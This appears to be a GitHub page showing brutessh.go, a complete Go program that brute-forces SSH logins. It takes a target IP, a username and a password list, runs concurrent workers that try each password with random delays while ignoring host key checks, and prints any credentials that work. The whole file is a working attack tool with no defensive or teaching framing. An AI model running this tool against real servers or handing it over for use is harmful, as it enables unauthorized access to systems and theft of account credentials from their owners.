-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathbrutessh.go
169 lines (146 loc) · 3.5 KB
/
brutessh.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
package main
import (
"bufio"
"context"
"flag"
"fmt"
"log"
"math/rand"
"net"
"os"
"strings"
"sync"
"time"
"golang.org/x/crypto/ssh"
)
var (
ip = flag.String("ip", "", "IP of the SSH server")
port = flag.String("port", "22", "Port of the SSH server")
count = flag.Int("count", 5, "Amount of worker working concurrently")
passwordFile = flag.String("file", "", "File with passwords")
user = flag.String("user", "", "SSH user to bruteforce")
timeout = flag.Int("timeout", 5, "Timeout per connection in seconds")
wg sync.WaitGroup
)
const (
authFailError = "ssh: handshake failed: ssh: unable to authenticate"
)
type input struct {
user string
password string
done bool
}
// isUp checks if given server is up
func isUp() bool {
conn, err := net.Dial("tcp", *ip+":"+*port)
if err != nil {
return false
}
conn.Close()
return true
}
// worker tries the given user,pw combo and logs to stdout if successful
func worker(ctx context.Context, inputChannel chan input, cancel context.CancelFunc) {
defer wg.Done()
for {
select {
case i := <-inputChannel:
if i.done {
cancel()
return
}
// check if worker should finish here
select {
case <-ctx.Done():
return
default:
//pass
}
config := &ssh.ClientConfig{ // TODO: play with settings (e.g. User and Banner stuff...)
User: i.user,
Auth: []ssh.AuthMethod{
ssh.Password(i.password),
},
Timeout: time.Duration(*timeout) * time.Second,
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
}
config.SetDefaults()
// just sleep a little bit
time.Sleep(time.Duration(rand.Intn(200)+1) * time.Millisecond)
_, err := ssh.Dial("tcp", *ip+":"+*port, config)
if err != nil {
if !strings.Contains(err.Error(), authFailError) { // check if auth-failed-err or not
// if not an auth-failed-err --> server is down?
log.Printf("Error @ Dial(): %s\n", err)
cancel() // kill the other workers
return
}
log.Printf("[FAILED] %s:%s\n", i.user, i.password)
} else {
log.Printf("[SUCCESS] Got creds: %s:%s\n", i.user, i.password)
cancel()
return
}
case <-ctx.Done():
return
}
}
}
// feeder feeds the lines(=passwords) from the given input file to the worker
func feeder(ctx context.Context, username string, inputChannel chan input) {
f, err := os.Open(*passwordFile)
if err != nil {
fmt.Println(err)
return
}
defer f.Close()
scanner := bufio.NewScanner(f)
defer wg.Done()
for {
select {
case <-ctx.Done():
return
default:
if scanner.Scan() {
line := scanner.Text()
inputChannel <- input{user: username, password: line, done: false} // TODO: this may be a race condition
} else {
// no more lines in file
inputChannel <- input{user: "", password: "", done: true}
return
}
}
}
}
func main() {
fmt.Println("CAUTION: |worker-count| <= |passwords|")
rand.Seed(time.Now().UnixNano())
flag.Parse()
if *ip == "" || *passwordFile == "" || *user == "" {
flag.PrintDefaults()
os.Exit(1)
}
if !isUp() {
fmt.Println("Host seems to be down...")
os.Exit(1)
}
inputChannel := make(chan input, 10)
ctx, cancel := context.WithCancel(context.Background())
for i := 0; i < *count; i++ {
wg.Add(1)
go worker(ctx, inputChannel, cancel)
}
// check if file exists
f, err := os.Open(*passwordFile)
if err != nil {
fmt.Println(err)
cancel()
wg.Wait()
return
}
f.Close()
wg.Add(1)
go feeder(ctx, *user, inputChannel)
wg.Wait()
log.Println("[DONE]")
}